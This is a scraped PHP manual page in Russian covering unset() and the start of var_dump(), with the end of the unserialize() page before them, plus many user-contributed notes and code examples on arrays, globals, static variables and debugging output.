    $parameter = "($str|$array|$integer|$any):($count)" . "(?:[:]($open_tag|$content)|[;])";
    $preg = "/$parameter|($close_tag)/";
    if( !preg_match_all( $preg, $string, $matches ) )
    {
        $errmsg = 'not a serialized string';
        return false;
    }
    $open_arrays = 0;
    foreach( $matches[1] AS $key => $value )
    {
        if( !empty( $value ) && ( $value != $array xor $value != $str xor $value != $integer ) )
        {
            $errmsg = 'undefined datatype';
            return false;
        }
        if( $value == $array )
        {
            $open_arrays++;
            if( $matches[3][$key] != '{' )
            {
                $errmsg = 'open tag expected';
                return false;
            }
        }
        if( $value == '' )
        {
            if( $matches[4][$key] != '}' )
            {
                $errmsg = 'close tag expected';
                return false;
            }
            $open_arrays--;
        }
        if( $value == $str )
        {
            $aVar = ltrim( $matches[3][$key], '"' );
            $aVar = rtrim( $aVar, '";' );
            if( strlen( $aVar ) != $matches[2][$key] )
            {
                $errmsg = 'stringlen for string not match';
                return false;
            }
        }
        if( $value == $integer )
        {
            if( !empty( $matches[3][$key] ) )
            {
                $errmsg = 'unexpected data';
                return false;
            }
            if( !is_integer( (int)$matches[2][$key] ) )
            {
                $errmsg = 'integer expected';
                return false;
            }
        }
    }
    if( $open_arrays != 0 )
    {
        $errmsg = 'wrong setted arrays';
        return false;
    }
    return true;
}

?>
Are Pedersen 09-Aug-2006 01:46
Be aware that if useing serialize/unserialize in a serverfarm with both 32bit and 64bit servers you can get unexpected results.

Ex: if you serialize an integer with value of 2147483648 on a 64bit system and then unserialize it on a 32bit system you will get the value -2147483648 instead. This is because an integer on 32bit cannot be above 2147483647 so it wraps.
Chris Hayes (chris at hypersites dot com) 23-Oct-2004 09:27
In reply to the earlier post about having to include object definitions *before* using unserialize.  There is a workaround for this.

When an object is serialized, the first bit of the string is actually the name of the class.  When an unknown object is unserialized, this is maintained as a property.  So if you serialize it again, you get back the exact same string as if you'd serialized the original object.  Basically, to cut to the point...

If you use

$_SESSION['my_object'] = unserialize(serialize($_SESSION['my_object']))

then you get back an object of the correct type, even if the session had originally loaded it as an object of type stdClass.
aderyn at nowhere dot tld 30-Oct-2003 10:02
A quick note:
If you store a serialized object in a session, you have to include the class _before_ you initialize (session_start()) the session.


Удаляет переменную

  • « unserialize
  • var_dump »
  • PHP Manual
  • Функции для работы с переменными
  • Удаляет переменную

unset

(PHP 4, PHP 5, PHP 7, PHP 8)

unset — Удаляет переменную

Описание

unset(mixed $var, mixed ...$vars): void

Языковая конструкция unset() удаляет перечисленные переменные.

Поведение языковой конструкции unset() внутри функции может меняться и зависит от типа удаляемой переменной.

Если глобальная переменная удаляется внутри функции, то будет удалена только локальная переменная. Переменная в области видимости вызова функции сохранит то же значение, что и до вызова unset().

<?php
function destroy_foo()
{
global $foo;
unset($foo);
}

$foo = 'bar';
destroy_foo();
echo $foo;
?>

Результат выполнения приведённого примера:

bar

Чтобы удалить глобальную переменную внутри функции, используют массив $GLOBALS:

<?php
function foo()
{
unset($GLOBALS['bar']);
}

$bar = "something";
foo();
?>

Если переменная, которая передаётся ПО ССЫЛКЕ, удаляется внутри функции, то будет удалена только локальная переменная. Переменная в области видимости вызова функции сохранит то же значение, что и до вызова unset().

<?php
function foo(&$bar)
{
unset($bar);
$bar = "blah";
}

$bar = 'something';
echo "$bar\n";

foo($bar);
echo "$bar\n";
?>

Результат выполнения приведённого примера:

something
something

Если статическая переменная удаляется внутри функции, конструкция unset() удалит переменную только в контексте оставшейся части функции. При следующем вызове предыдущее значение переменной будет восстановлено.

<?php
function foo()
{
static $bar;
$bar++;
echo "До удаления: $bar, ";
unset($bar);
$bar = 23;
echo "После удаления: $bar\n";
}

foo();
foo();
foo();
?>

Результат выполнения приведённого примера:

До удаления: 1, После удаления: 23
До удаления: 2, После удаления: 23
До удаления: 3, После удаления: 23

Список параметров

var

Удаляемая переменная.

vars

Следующие переменные.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования unset()

<?php
// удаляем одну переменную
unset($foo);

// удаляем один элемент массива
unset($bar['quux']);

// удаляем несколько переменных
unset($foo1, $foo2, $foo3);
?>

Пример #2 Использование приведения типа (unset)

Приведение типа (unset) часто путают с конструкцией unset(). Приведение типа (unset) приводит только к значению NULL и было добавлено только для полноты реализации. Оно не меняет значение приводимой переменной. С PHP 7.2.0 преобразование типа (unset) объявлено устаревшим и удалено в PHP 8.0.0.

<?php
$name = 'Felipe';

var_dump((unset) $name);
var_dump($name);
?>

Результат выполнения приведённого примера:

NULL
string(6) "Felipe"

Примечания

Замечание: Поскольку это языковая конструкция, а не функция, её нельзя вызывать как переменную функцию или передавать как именованный аргумент.

Замечание:

Можно удалить свойства объекта, видимые в текущем контексте.

Если определены (в классе), метод __get() будет вызван при попытке получить неустановленное свойство, а метод __set() будет вызван при попытке установить неопределённое свойство.

Замечание:

Невозможно удалить псевдопеременную текущего контекста $this внутри метода объекта.

Замечание:

При вызове конструкции unset() на недоступных или необъявленных свойствах объекта будет вызван метод перегрузки __unset(), если он определён.

Смотрите также

  • isset() - Определяет, была ли установлена переменная значением, отличным от null
  • empty() - Проверяет, пуста ли переменная
  • __unset()
  • array_splice() - Удаляет часть массива и заменяет её чем-нибудь ещё
  • Приведение типа (unset)

User Contributed Notes

tecdoc at ukr dot net 28-Apr-2022 09:25
Be careful!, unset() element in array advances the internal array pointer one place forward
ray.paseur sometimes uses gmail 08-Mar-2022 08:55
Perhaps because it is a language construct and not a function, if you try to use the error suppression operator ...

@unset($var);

... you get this: Parse error: syntax error, unexpected 'unset' (T_UNSET) ...
ronan at shopping-feed dot com 04-Feb-2020 08:19
<?php

$list = ['a', 'b', 'c'];
next($list);
unset($list[1]);

echo current($list); // result : "c"
Phantasma_9 at yahoo dot com 08-Aug-2016 06:17
This is probably trivial but there is no error for unsetting a non-existing variable.
magnesium dot oxide dot play+php at gmail dot com 20-Mar-2014 08:10
You can unset superglobals like $GLOBALS, $_GET etc., but causing an unususal behavior (as of PHP 5.3.3).

1) unsetting of superglobals is done globally, i.e. unsetting inside the function affects GLOBALLY.

2) Recreation of unset'ed superglobals can be done (recreated valiables are superglobals), but original functionality (in $GLOBALS, $_SESSION ...) has lost.

<?php

function foo(){
  unset($GLOBALS);
}

function bar(){
  var_dump($GLOBALS);
}

foo();
bar(); //issues E_NOTICE ($GLOBALS not defined)
$GLOBALS=3;
bar(); //displays int(3)

?>
Hayley Watson 05-Mar-2013 09:41
You don't need to check that a variable is set before you unset it.
<?php
unset($a);
?>
is harmless.
<?php
if(isset($a)) {
    unset($a);
}
?>
is pointless complication.

This doesn't apply to properties of objects that have __isset() methods that visibly change object state or __unset() methods that don't properly check their arguments or have extra side effects.

The latter case means that __unset shouldn't do more than what it says on the tin, and also has the responsibility for checking (possibly using __isset()) that what it's being asked to do makes sense.

The former case is just plain bad design.
tigercat at aol dot com 10-Oct-2012 07:55
The combination of "global" and "unset" in functions can lead to some unexpected results.  This is because the "global" function creates a reference to a variable at the time it's executed, so a variable can be deleted out from under a "global $my_variable" declaration in a function.  Accessing data that's been deleted with an obsolete reference is usually a bad thing; in some languages it can generate a machine address fault.

<?php
$my_global_var = "old data";
f1();

function f1() // example of invalid variable reference use
{
  global $my_global_var;   // creates reference to global variable
  f2(); // recreates global variable, so reference is now invalid

// bad...
  echo $my_global_var;     // outputs "old data" (from invalid memory???)

// good...
  global $my_global_var;  // reestablish reference to new global variable
  echo $my_global_var;     // outputs "new data" as expected
}

function f2() // recreate global variable
{
  unset($GLOBALS['my_global_var']); // this syntax works with all variable types including arrays
  global $my_global_var; // must do this after unset to access new global variable
  $my_global_var = "new data";
}
?>
pfreilly at umd dot umich dot edu 29-Sep-2011 04:56
Despite much searching, I have not yet found an explanation as to how one can manually free resources from variables, not so much objects, in PHP.  I have also seen many comments regarding the merits and demerits of unset() versus setting a variable to null.  Thus, here are the results of some benchmarks performed comparing unset() of numerous variables to setting them to null (with regards to memory usage and processing time):

10 variables:
Unset:
Memory Usage: 296
Time Elapsed: 1.0013580322266E-5

Null set:
Memory Usage: 1736
Time Elapsed: 5.9604644775391E-6

50 variables:
Unset:
Memory Usage: 296
Time Elapsed: 3.6001205444336E-5

Null set:
Memory Usage: 8328
Time Elapsed: 3.2901763916016E-5

100 variables:
Unset:
Memory Usage: 296
Time Elapsed: 5.6982040405273E-5

Null set:
Memory Usage: 15928
Time Elapsed: 5.8174133300781E-5

1000 variables:
Unset:
Memory Usage: 296
Time Elapsed: 0.00041294097900391

Null set:
Memory Usage: 168096
Time Elapsed: 0.00067591667175293

10000 variables:
Unset:
Memory Usage: 296
Time Elapsed: 0.0042569637298584

Null set:
Memory Usage: 1650848
Time Elapsed: 0.0076930522918701

100000 variables:
Unset:
Memory Usage: 296
Time Elapsed: 0.042603969573975

Null set:
Memory Usage: 16249080
Time Elapsed: 0.087724924087524

300000 variables:
Unset:
Memory Usage: 296
Time Elapsed: 0.13177299499512

Null set:
Memory Usage: 49796320
Time Elapsed: 0.28617882728577

Perhaps my test code for the null set was flawed, but despite that possibility it is simple to see that unset() has minimal processing time impact, and no apparent memory usage impact (unless the values returned by memory_get_usage() are flawed).  If you truly care about the ~4 microseconds saved over <50 variables, more power to you.  Otherwise, use unset() to minimize script impact on your system.
Note: Tested on PHP 5.3.8 installed via RPM on Fedora 14
edouard dot berge at gmail dot com 24-Sep-2010 09:09
Warning!

When unset from an array, if you unset all elements, the array is always set

$tab=array('A'=>1,'B'=>2);
unset($tab['A']);
unset($tab['B']);
echo isset($tab)." ".count($tab);

output: 1 0
Andreas 24-Sep-2010 05:51
You can not unset a numeric key of an array, if key is a string. See this example:

// Create a simple array with 3 different key types
$test[1] = array(
    10 => array('apples'),
    "20" => array('bananas'),
    '30' => array('peaches')
);
$test[2] = (array) json_decode(json_encode($test[1]));
$test[3] = (array) (object) $test[1];
// array form a stdClass object
$testClass = new stdClass();
$testClass->{10} =  array('apples');
$testClass->{"20"} =  array('bananas');
$test[4] = (array) $testClass[6];

echo "<pre>";
foreach($test as $testNum => $arr) {

    echo "\nTest: " . $testNum  . " \n";
    var_dump($arr);

    foreach($arr as $key => $fruit) {
        echo "key: " . $key . "\n";
        echo "key exists: ";
        var_dump(array_key_exists(strval($key), $arr));
        echo "typeof key is: " . gettype($key) . "\n";

        unset($arr[$key]);
    }
    var_dump($arr);
    echo "\n" . str_repeat("-", 80);
}
echo "</pre>";

And here is the output:

Test: 1
array(3) {
  [10]=>
  array(1) {
    [0]=>
    string(6) "apples"
  }
  [20]=>
  array(1) {
    [0]=>
    string(7) "bananas"
  }
  [30]=>
  array(1) {
    [0]=>
    string(7) "peaches"
  }
}
key: 10
key exists: bool(true)
typeof key is: integer
key: 20
key exists: bool(true)
typeof key is: integer
key: 30
key exists: bool(true)
typeof key is: integer
array(0) {
}

--------------------------------------------------------------
Test: 2
array(3) {
  ["10"]=>
  array(1) {
    [0]=>
    string(6) "apples"
  }
  ["20"]=>
  array(1) {
    [0]=>
    string(7) "bananas"
  }
  ["30"]=>
  array(1) {
    [0]=>
    string(7) "peaches"
  }
}
key: 10
key exists: bool(false)
typeof key is: string
key: 20
key exists: bool(false)
typeof key is: string
key: 30
key exists: bool(false)
typeof key is: string
array(3) {
  ["10"]=>
  array(1) {
    [0]=>
    string(6) "apples"
  }
  ["20"]=>
  array(1) {
    [0]=>
    string(7) "bananas"
  }
  ["30"]=>
  array(1) {
    [0]=>
    string(7) "peaches"
  }
}

--------------------------------------------------------------
Test: 3
array(3) {
  [10]=>
  array(1) {
    [0]=>
    string(6) "apples"
  }
  [20]=>
  array(1) {
    [0]=>
    string(7) "bananas"
  }
  [30]=>
  array(1) {
    [0]=>
    string(7) "peaches"
  }
}
key: 10
key exists: bool(true)
typeof key is: integer
key: 20
key exists: bool(true)
typeof key is: integer
key: 30
key exists: bool(true)
typeof key is: integer
array(0) {
}

--------------------------------------------------------------
Test: 4
array(2) {
  ["10"]=>
  array(1) {
    [0]=>
    string(6) "apples"
  }
  ["20"]=>
  array(1) {
    [0]=>
    string(7) "bananas"
  }
}
key: 10
key exists: bool(false)
typeof key is: string
key: 20
key exists: bool(false)
typeof key is: string
array(2) {
  ["10"]=>
  array(1) {
    [0]=>
    string(6) "apples"
  }
  ["20"]=>
  array(1) {
    [0]=>
    string(7) "bananas"
  }
}

--------------------------------------------------------------

Fix the problem with a rebuild of the array:
$oldArray = $array();
$array = array();
foreach($oldArray as $key => $item) {
    $array[intval($key)] = $item;
}
j dot vd dot merwe at enovision dot net 26-Aug-2010 05:08
A sample how to unset array elements from an array result coming from a mysql request. In this sample it is checking if a file exists and removes the row from the array if it not exists.

<?php
$db->set_query("select * from documents where document_in_user = 0"); //1
$documents = $db->result_to_array($db->get_result()); //1

foreach ($documents as $key => $row) { //2

    $file     = "uploads/".rawurldecode($row['document_name']);

    if ( file_exists ( $file ) == FALSE ) {
         unset($documents[$key]);  //3
    }
}

$documents = array_values($documents); // reindex the array (4)
?>

variables:
mysql table = documents,
array = $documents
array key (index) = $key
array row (record sort of speak) = $row

explanation:

1.
it gets the array from the table (mysql)

2.
foreach goes through the array $documents

3.
unset if record does not exist

4.
the array_values($documents) reindexes the $documents array, for otherwise you might end up in trouble when your  process will start expecting an array starting with key ($key) 0 (zero).
Anonymous 02-Jul-2010 07:20
further I realized that an object, when getting detroyed, does care about destroying variable in object space visibility but not those in local visibility, be aware of the found pattern:

<?php
class release_test{
  private $buffer;
  private $other_object;
  public function __construct(){
    $this->other_object=new other_object_class();
  }
  public function __destruct(){
    //note that you always have to unset class objects, in order to get the resources released
    unset($this->other_object);
  }
  public allocate_mem_A(){
    $this->buffer=file("/tmp/bigfile");
  }
  public allocate_mem_B(){
    $buffer=file("/tmp/bigfile");
  }
  public allocate_mem_C(){
    $buffer=file("/tmp/bigfile");
    unset($buffer);
  }
  public allocate_mem_D(){
    $this->other_buffer=file("/tmp/bigfile");
  }
}

//this does not lead to a resource problem
$A=new release_test();
$A->allocate_mem_A();
$A->__destruct();
unset($A);

//this DOES lead to a resource problem
$B=new release_test();
$B->allocate_mem_B();
$B->__destruct();
unset($B);

//this does not lead to a resource problem
$C=new release_test();
$C->allocate_mem_C();
$C->__destruct();
unset($C);

//this does not lead to a resource problem
$D=new release_test();
$D->allocate_mem_D();
$D->__destruct();
unset($D);
?>
phpmanual at kennel17 dot co dot uk 26-Feb-2010 08:55
Note that PHP 4 will generate a warning if you try to unset an array index that doesn't exist and whose parent doesn't exist.

Example:

<?php

  $foo = array();

  unset($foo['Bar']['Baz']);

?>

RESULT: "Notice:  Undefined index:  Bar"

On PHP5 no error is raised, which seems to me like the correct behaviour.

Note that using unset($foo['Bar']) in the above example does not generate a warning in either version.

(Tested on 4.4.9 and 5.2.4)
macnimble at gmail dot com 26-Mar-2009 02:39
Two ways of unsetting values within an array:

<?php
# remove by key:
function array_remove_key ()
{
  $args  = func_get_args();
  return array_diff_key($args[0],array_flip(array_slice($args,1)));
}
# remove by value:
function array_remove_value ()
{
  $args = func_get_args();
  return array_diff($args[0],array_slice($args,1));
}

$fruit_inventory = array(
  'apples' => 52,
  'bananas' => 78,
  'peaches' => 'out of season',
  'pears' => 'out of season',
  'oranges' => 'no longer sold',
  'carrots' => 15,
  'beets' => 15,
);

echo "<pre>Original Array:\n",
     print_r($fruit_inventory,TRUE),
     '</pre>';

# For example, beets and carrots are not fruits...
$fruit_inventory = array_remove_key($fruit_inventory,
                                    "beets",
                                    "carrots");
echo "<pre>Array after key removal:\n",
     print_r($fruit_inventory,TRUE),
     '</pre>';

# Let's also remove 'out of season' and 'no longer sold' fruit...
$fruit_inventory = array_remove_value($fruit_inventory,
                                      "out of season",
                                      "no longer sold");
echo "<pre>Array after value removal:\n",
     print_r($fruit_inventory,TRUE),
     '</pre>';
?>
lion_cat at mail ru 12-Nov-2008 02:22
about unset for arrays

if you unset the last array member
$ar[0]==2
$ar[1]==7
$ar[2]==9

unset ($ar[2])

after addition a new member by $ar[]=7,

you will get
$ar[0]==2
$ar[1]==7
$ar[3]==7,

So, unset has no effect to internal array counter!!!
nox at oreigon dot de 05-Aug-2008 12:24
if you try to unset an object, please be careful about references.

Objects will only free their resources and trigger their __destruct method when *all* references are unsetted.
Even when they are *in* the object... sigh!

<?php

class A {
  function __destruct() {
    echo "cYa later!!\n";
  }
}

$a = new A();
$a -> a = $a;
#unset($a); # Just uncomment, and you'll see

echo "No Message ... hm, what now?\n";
unset($a -> a);
unset($a);

echo "Finally that thing is gone\n";

?>

Of course the object completely dies at the end of the script.
stacionari at gmail dot com 17-Mar-2008 01:41
Sometimes you need to assigne values to an array index in some loop (if, while, foreach etc.) but you wish to set starting index key to some number greater then zero (lets say 5). One idea how to do this is:

<?php
    $values = array(5, 10, 15, 100);  //array of values that we wish to add to our new array

    $myArray = array(4=>0);   //sets starting key to be 4 and assigns some value (lets say 0)
    unset($myArray[4]);   //delete this index key, but preserves further enumeration

    foreach($values as $value){
        $myArray[] = $value;   //asign values to our array
    }

    print_r($myArray);

/* Output:

Array ( [5] => 5 [6] => 10 [7] => 15 [8] => 100 )

*/

?>
pauljamescampbell at gmail dot com 15-Mar-2008 05:22
Here's my variation on the slightly dull unset method. It throws in a bit of 80's Stallone action spice into the mix. Enjoy!

<?php
/**
 * function rambo (first blood)
 *
 * Completely and utterly destroys everything, returning the kill count of victims
 *
 * @param    It don't matter, it's Rambo baby
 * @return    Integer    Body count (but any less than 500 and it's not really worth mentioning)
 */
function rambo() {

    // Get the victims and initiate that body count status
    $victims = func_get_args();
    $body_count = 0;

    // Kill those damn punks
    foreach($victims as $victim) {
        if($death_and_suffering = @unset($victim)) {
            $body_count++;
        }
    }

    // How many kills did Rambo tally up on this mission?
    return($body_count);
}
?>
Kai Kunstmann 10-Mar-2008 05:09
Since unset() is a language construct, it cannot be passed anything other than a variable. It's sole purpose is to "unset" this variable, ie. to remove it from the current scope and destroy it's associated data. This is true especially for reference variables, where not the actual value is destroyed but the reference to that value. This is why you can't wrap 'unset()' in a user defined function: You would either unset a copy of the data if the parameter is passed by value, or you would just unset the reference variable within the functions scope if the parameter is passed by reference. There is no workaround for that, as you cannot pass 'scope' to a function in PHP. Such a function can only work for variables that exist in a common or global scope (compare 'unset($_GLOBALS[variable])').

I don't know how PHP handles garbage collection internally, but I guess this behavior can result in a huge memory leak: if a value variable goes out of scope with a second variable still holding a reference to the in-memory value, then unsetting that reference would still hold the value in memory but potentially unset the last reference to that in-memory data, hence: occupied memory that is rendered useless as you cannot reference it anymore.
Hayley Watson 23-Aug-2007 09:02
In regard to some confusion earlier in these notes about what causes unset() to trigger notices when unsetting variables that don't exist....

Unsetting variables that don't exist, as in
<?php
unset($undefinedVariable);
?>
does not trigger an "Undefined variable" notice. But
<?php
unset($undefinedArray[$undefinedKey]);
?>
triggers two notices, because this code is for unsetting an element of an array; neither $undefinedArray nor $undefinedKey are themselves being unset, they're merely being used to locate what should be unset. After all, if they did exist, you'd still expect them to both be around afterwards. You would NOT want your entire array to disappear just because you unset() one of its elements!
chad 0x40 herballure 0x2e com 31-May-2007 07:11
It is observed on PHP 5.1.6 that <?php unset($this); ?> inside of a method will remove the reference to $this in that method. $this isn't considered "special" as far as unset() is concerned.
09-Feb-2007 08:10
Just to confirm, USING UNSET CAN DESTROY AN ENTIRE ARRAY. I couldn't find reference to this anywhere so I decided to write this.

The difference between using unset and using $myarray=array(); to unset is that obviously the array will just be overwritten and will still exist.

<?php

$myarray=array("Hello","World");

echo $myarray[0].$myarray[1];

unset($myarray);
//$myarray=array();

echo $myarray[0].$myarray[1];

echo $myarray;
?>

Output with unset is:
<?
HelloWorld

Notice: Undefined offset: 0 in C:\webpages\dainsider\myarray.php on line 10

Notice: Undefined offset: 1 in C:\webpages\dainsider\myarray.php on line 10

Output with $myarray=array(); is:
?>

<?
HelloWorld

Notice: Undefined offset: 0 in C:\webpages\dainsider\myarray.php on line 10

Notice: Undefined offset: 1 in C:\webpages\dainsider\myarray.php on line 10

Array
?>
hessodreamy at gmail dot com 17-Jan-2007 03:51
To clarify what hugo dot dworak at gmail dot com said about unsetting things that aren't already set:

unsetting a non-existent key within an array does NOT throw an error.
<?
$array = array();

unset($array[2]);
//this does not throw an error

unset($array[$undefinedVar]);
//Throws an error because of the undefined variable, not because of a non-existent key.
?>
dibakar dot datta at gmail dot com 31-Mar-2006 11:31
Instead of using the unset function  for unregistering your session or other array values you can also do this samll feature and get this task done with just 1 line code.

Suppose, if you like to unregister your session store values.
You can use:

      $_SESSION = array();

Well this syntax saves lot's of time instead of unsetting each values.
clark at everettsconsulting dot com 11-Sep-2005 12:50
In PHP 5.0.4, at least, one CAN unset array elements inside functions from arrays passed by reference to the function.
As implied by the manual, however, one can't unset the entire array by passing it by reference.

<?php
function remove_variable (&$variable)  // pass variable by reference
{
    unset($variable);
}

function remove_element (&$array, $key) // pass array by reference
{
    unset($array[$key]);
}

$scalar = 'Hello, there';
echo 'Value of $scalar is: ';
print_r ($scalar); echo '<br />';
// Value of $scalar is: Hello, there

remove_variable($scalar); // try to unset the variable
echo 'Value of $scalar is: ';
print_r ($scalar); echo '<br />';
// Value of $scalar is: Hello, there

$array = array('one' => 1, 'two' => 2, 'three' => 3);
echo 'Value of $array is: ';
print_r ($array); echo '<br />';
// Value of $array is: Array ( [one] => 1 [two] => 2 [three] => 3 )

remove_variable($array); // try to unset the array
echo 'Value of $array is: ';
print_r ($array); echo '<br />';
// Value of $array is: Array ( [one] => 1 [two] => 2 [three] => 3 )

remove_element($array, 'two'); // successfully remove an element from the array
echo 'Value of $array is: ';
print_r ($array); echo '<br />';
// Value of $array is: Array ( [one] => 1 [three] => 3 )

?>
muhamad_zakaria at yahoo dot com 04-Jul-2005 07:08
We have experienced when we applied 'unset' to the overloaded properties (PHP5), consider the code below:
<?php
    class TheObj {
        public $RealVar1, $RealVar2, $RealVar3, $RealVar4;
        public $Var = array();

        function __set($var, $val) {
            $this->Var[$var] = $val;
        }
        function __get($var) {
            if(isset($this->Var[$var])) return $this->Var[$var];
            else return -1;
        }
    }

    $SomeObj = new TheObj;

    // here we set for real variables
    $SomeObj->RealVar1 = 'somevalue';
    $SomeObj->{'RealVar2'} = 'othervalue';
    $SomeObj->{'RealVar'.(3)} = 'othervaluetoo';
    $SomeObj->{'RealVar'.'4'} = 'anothervalue';

    // and here we set for virtual variables
    $SomeObj->Virtual1 = 'somevalue';
    $SomeObj->{'Virtual2'} = 'othervalue';
    $SomeObj->{'Virtual'.(3)} = 'othervaluetoo';
    $SomeObj->{'Virtual'.'4'} = 'anothervalue';

    // now we will try to unset these variables
    unset($SomeObj->RealVar1);
    unset($SomeObj->{'RealVar'.(3)});

    //the lines below will catch by '__get' magic method since these variables are unavailable anymore
    print $SomeObj->RealVar1."\n";
    print $SomeObj->{'RealVar'.(3)}."\n";

    // now we will try to unset these variables
    unset($SomeObj->Virtual1);
    unset($SomeObj->{'Virtual'.(3)});

    //but, these variables are still available??? eventhough they're "unset"-ed
    print $SomeObj->Virtual1."\n";
    print $SomeObj->{'Virtual'.(3)}."\n";
?>

Please note that PHP doesn't have magic callback to unset overloaded properties. This is the reason why unset($SomeObj->Virtual1) doesn't work.

But it does work when we set 'null' value such as the following code:
<?php
    // now we will set 'null' value instead of using unset statement
    $SomeObj->Virtual1 = null;
    $SomeObj->{'Virtual'.(3)} = null;

    // and now these variables are no longer available
    print $SomeObj->Virtual1."\n";
    print $SomeObj->{'Virtual'.(3)}."\n";
?>
Sound ugly, yeah?

This applied to the "virtual" array variable too, see more at http://bugs.php.net/bug.php?id=33513 (at feedback) about it.
PS: we used PHP version 5.1.0-dev from the CVS snapshot when we wrote the above codes.
franckraynal at free dot fr 26-Feb-2005 05:02
Here is another way to make 'unset' work with session variables from within a function :

<?php
function unsetSessionVariable ($sessionVariableName) {
   unset($GLOBALS[_SESSION][$sessionVariableName]);
}
?>

May it work with others than me...
F.
dan AT --nospam-- cubeland DOT co DOT uk 04-Nov-2004 11:38
dh at argosign dot de -
it is possible to unset globals from within functions thanks to the $GLOBALS array:

<?php
$x = 10;

function test() {
    // don't need to do ' global $x; '
    unset ($GLOBALS['x']);
    echo 'x: ' . $GLOBALS['x'] . '<br />';
}

test();
echo "x: $x<br />";

// will result in
/*
x:
x:
*/
?>
thorry at thorry dot net 05-Aug-2004 02:15
The documentation is not entirely clear when it comes to static variables. It says:

If a static variable is unset() inside of a function, unset() destroys the variable and all its references.

<?php
function foo()
{
   static $a;
   $a++;
   echo "$a\n";
   unset($a);
}

foo();
foo();
foo();
?>

The above example would output:

1
2
3

And it does! But the variable is NOT deleted, that's why the value keeps on increasing, otherwise the output would be:

1
1
1

The references are destroyed within the function, this handeling is the same as with global variables, the difference is a static variable is a local variable.

Be carefull using unset and static values as the output may not be what you expect it to be. It appears to be impossible to destroy a static variable. You can only destroy the references within the current executing function, a successive static statement will restore the references.

The documentation would be better if it would say:
"If a static variable is unset() inside of a function, unset() destroys all references to the variable. "

Example: (tested PHP 4.3.7)
<?php
function foo()
{
   static $a;
   $a++;
   echo "$a\n";
   unset($a);
   echo "$a\n";
   static $a;
   echo "$a\n";
}

foo();
foo();
foo();
?>

Would output:

1

1
2

2
3

3
anon at no spam dot no address dot com 16-Jul-2004 09:19
Adding on to what bond at noellebond dot com said, if you want to remove an index from the end of the array, if you use unset, the next index value will still be what it would have been.

Eg you have
<?php
 $x = array(1, 2);

 for ($i = 0; $i < 5; $i++)
 {
    unset($x[(count($x)-1)]); //remove last set key in the array

    $x[] = $i;
 }
?>

You would expect:
Array([0] => 1, [1] => 4)
as you want it to remove the last set key....

but you actually get
Array ( [0] => 1 [4] => 2 [5] => 3 [6] => 4 )

This is since even though the last key is removed, the auto indexing still keeps its previous value.

The only time where this would not seem right is when you remove a value off the end. I guess different people would want it different ways.

The way around this is to use array_pop() instead of unset() as array_pop() refreshes the autoindexing thing for the array.
<?php
 $x = array(1, 2);

 for ($i = 0; $i < 5; $i++)
 {
    array_pop($x); // removes the last item in the array

    $x[] = $i;
 }
?>

 This returns the expected value of x = Array([0] => 1, [1] => 4);

Hope this helps someone who may need this for some odd reason, I did.
andre at twg dot com dot au 06-Mar-2004 09:16
Only This works with register_globals being 'ON'.

unset( $_SESSION['variable'] );

The above will not work with register_globals turned on (will only work outside of a function).

$variable = $_SESSION['variable'];
unset( $_SESSION['variable'], $variable );

The above will work with register_globals on & inside a function
warhog at warhog dot net 27-Jan-2004 08:52
you may wan't to unset all variables which are defined, here's one way:

<?php

function unset_all_vars($a)
{ foreach($a as $key => $val)
  { unset($GLOBALS[$key]); }
  return serialize($a); }

unset_all_vars(get_defined_vars());

?>

you can also save than a serialized var of the "memory" and perhaps store this in a temporary file.. very usefull if you work with text files and/or file uploads when you've got very large variables.

greetz


Выводит информацию о переменной

  • « unset
  • var_export »
  • PHP Manual
  • Функции для работы с переменными
  • Выводит информацию о переменной

var_dump

(PHP 4, PHP 5, PHP 7, PHP 8)

var_dump — Выводит информацию о переменной

Описание

var_dump(mixed $value, mixed ...$values): void

Функция отображает структурированную информацию об одном или нескольких выражениях, включая их тип и значение. Массивы и объекты анализируются рекурсивно, значениям задаются отступы, чтобы показать структуру.

Все общедоступные, закрытые и защищённые свойства объекта будут возвращены в выводе, кроме объектов, в которых реализован метод __debugInfo().

Подсказка

Как и всё, что выводит результат в браузер, функции контроля вывода можно вызывать, чтобы перехватить выводимые этой функцией данные и сохранять их, например в строку (string).

Список параметров

value

Выражение, которое нужно вывести.

values

Следующие выражения для вывода.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования функции var_dump()

<?php

$a = array(1, 2, array("a", "b", "c"));
var_dump($a);
?>

Результат выполнения приведённого примера:

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  array(3) {
    [0]=>
    string(1) "a"
    [1]=>
    string(1) "b"
    [2]=>
    string(1) "c"
  }
}
<?php

$b = 3.1;
$c = true;
var_dump($b, $c);

?>

Результат выполнения приведённого примера:

float(3.1)
bool(true)

Смотрите также

  • print_r() - Выводит удобочитаемую информацию о переменной
  • debug_zval_dump() - Сбрасывает строковое представление внутренней структуры zval на вывод
  • var_export() - Выводит или возвращает интерпретируемое строковое представление переменной
  • __debugInfo()

User Contributed Notes

fabien dot villepinte at gmail dot com 27-May-2019 02:59
It's important to note that the output depends on the precision directive.
<?php
var_dump(10000000000000.5); // float(10000000000000)
ini_set('precision',-1);
var_dump(10000000000000.5); // float(10000000000000.5)
?>
Anonymous 18-Jul-2016 06:27
Be careful this outputs to stdout stream (1) instead of the proper stderr stream (2).
b dot bergloev at gmail dot com 31-Oct-2014 11:45
I post a new var_dump function with colors and collapse features. It can also adapt to terminal output if you execute it from there. No need to wrap it in a pre tag to get it to work in browsers.

<?php
function dump_debug($input, $collapse=false) {
    $recursive = function($data, $level=0) use (&$recursive, $collapse) {
        global $argv;

        $isTerminal = isset($argv);

        if (!$isTerminal && $level == 0 && !defined("DUMP_DEBUG_SCRIPT")) {
            define("DUMP_DEBUG_SCRIPT", true);

            echo '<script language="Javascript">function toggleDisplay(id) {';
            echo 'var state = document.getElementById("container"+id).style.display;';
            echo 'document.getElementById("container"+id).style.display = state == "inline" ? "none" : "inline";';
            echo 'document.getElementById("plus"+id).style.display = state == "inline" ? "inline" : "none";';
            echo '}</script>'."\n";
        }

        $type = !is_string($data) && is_callable($data) ? "Callable" : ucfirst(gettype($data));
        $type_data = null;
        $type_color = null;
        $type_length = null;

        switch ($type) {
            case "String":
                $type_color = "green";
                $type_length = strlen($data);
                $type_data = "\"" . htmlentities($data) . "\""; break;

            case "Double":
            case "Float":
                $type = "Float";
                $type_color = "#0099c5";
                $type_length = strlen($data);
                $type_data = htmlentities($data); break;

            case "Integer":
                $type_color = "red";
                $type_length = strlen($data);
